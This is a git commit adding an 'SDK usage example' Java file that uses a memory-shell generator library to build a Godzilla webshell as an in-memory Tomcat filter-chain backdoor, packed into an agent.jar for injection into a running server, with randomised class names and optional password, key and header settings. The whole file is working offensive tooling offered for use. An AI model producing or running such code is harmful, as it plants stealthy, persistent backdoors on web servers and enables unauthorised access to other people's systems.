docs: add sdk usage example

2026-09-21 22:50:42 +08:00 · 2025-04-06 13:55:17 +08:00
parent 27227f1622
commit 78ba0da3a3
4 changed files with 218 additions and 0 deletions
@@ -0,0 +1,52 @@
+package com.reajason.javaweb;
+
+import com.reajason.javaweb.memshell.*;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.config.GodzillaConfig;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.packer.jar.JarPacker;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/6
+ */
+public class GodzillaAgent {
+
+    public static void main(String[] args) throws Exception {
+        ShellConfig shellConfig = ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellTool(ShellTool.Godzilla)
+                .shellType(ShellType.AGENT_FILTER_CHAIN)
+                .shrink(true) // 缩小字节码
+                .debug(false) // 关闭调试
+                .build();
+
+        InjectorConfig injectorConfig = InjectorConfig.builder()
+//                .urlPattern("/*")  // 自定义 urlPattern，默认就是 /*
+//                .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名，默认为空时随机生成
+//                .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名，默认为空时随机生成
+                .build();
+
+        GodzillaConfig godzillaConfig = GodzillaConfig.builder()
+//                .pass("pass")
+//                .key("key")
+//                .headerName("User-Agent")
+//                .headerValue("test")
+                .build();
+
+        GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
+
+        System.out.println("注入器类名：" + result.getInjectorClassName());
+        System.out.println("内存马类名：" + result.getShellClassName());
+
+        System.out.println(result.getShellConfig());
+        System.out.println(result.getShellToolConfig());
+
+        byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
+        Files.write(Paths.get("agent.jar"), agentJarBytes);
+    }
+}